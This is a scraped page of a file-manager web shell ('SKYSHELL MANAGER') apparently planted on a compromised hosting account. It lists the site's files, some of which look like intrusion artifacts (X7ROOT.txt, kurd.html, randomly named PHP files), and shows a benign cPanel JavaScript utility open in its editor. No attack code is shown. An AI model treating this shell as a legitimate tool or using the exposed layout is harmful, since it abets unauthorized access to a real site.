📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: test.js
/* # cjt/util/test.js Copyright(c) 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* --------------------------*/ /* DEFINE GLOBALS FOR LINT /*--------------------------*/ /* global define:true */ /* --------------------------*/ // TODO: Add tests for these /** * * @module cjt/util/test * @example require(["cjt/util/test"], function(TEST){ var foo = { a : 100, b : { c : { e: 105 }, d : "ninja" } }; if (TEST.objectHasPath(foo, "a")) { // Should succeed. } if (TEST.objectHasPath(foo, "b.c.e")) { // Should succeed. } if (TEST.objectHasPath(foo, "a.b.c.e")) { // Should fail. } }); */ define(["lodash"], function(_) { /** * Validate that the root object contains the structure defined by the path. * * @public * @static * @method objectHasPath * @param {Object} root Object to check for the given structure. * @param {String} path String with all the properties required separated by "."s * @return {Boolean} true if the structure exists, false otherwise. */ var objectHasPath = function(root, path) { var parts = path.split("."); var context = root; if (!context) { return false; } for (var i = 0, l = parts.length; i < l; i++) { var part = parts[i]; if (!(part in context)) { return false; } context = context[part]; } return true; }; /** * Validate that the root object contains the structure and the leaf is a function. * * @public * @static * @method objectHasFunction * @param {Object} root Object to check for the given structure. * @param {String} path String with all the properties required separated by "."s * @return {Boolean} true if the structure exists and leaf is a function, false otherwise. */ var objectHasFunction = function(root, path) { var parts = path.split("."); var context = root; if (!context) { return false; } for (var i = 0, l = parts.length; i < l; i++) { var part = parts[i]; if (!(part in context)) { return false; } context = context[part]; } return _.isFunction(context); }; /** * Test if the object is a promise. This is an approximate * process since promise do not have a instance type. We * test for a then() method and then assume its a PROMISE A at * least. * @public * @static * @method isPromise * @param {Object} obj Object to test. * @return {Boolean} true if this looks like a promise, false otherwise. */ var isPromise = function(obj) { return obj && obj.then && _.isFunction(obj.then); }; /** * Test if the object is a $q promise. This is an approximate * process since promise do not have a instance type. We * test for a then() and a finally() method and then assume its * a $q from angular. * @public * @static * @method isQPromise * @param {Object} obj Object to test * @return {Boolean} true if this looks like a promise, false otherwise. */ var isQPromise = function(obj) { return isPromise(obj) && obj["finally"] && _.isFunction(obj["finally"]); }; /** * Provides various static utility testing functions. * * @class test * @static */ // Publish the component var test = { objectHasPath: objectHasPath, objectHasFunction: objectHasFunction, isPromise: isPromise, isQPromise: isQPromise }; return test; });
Save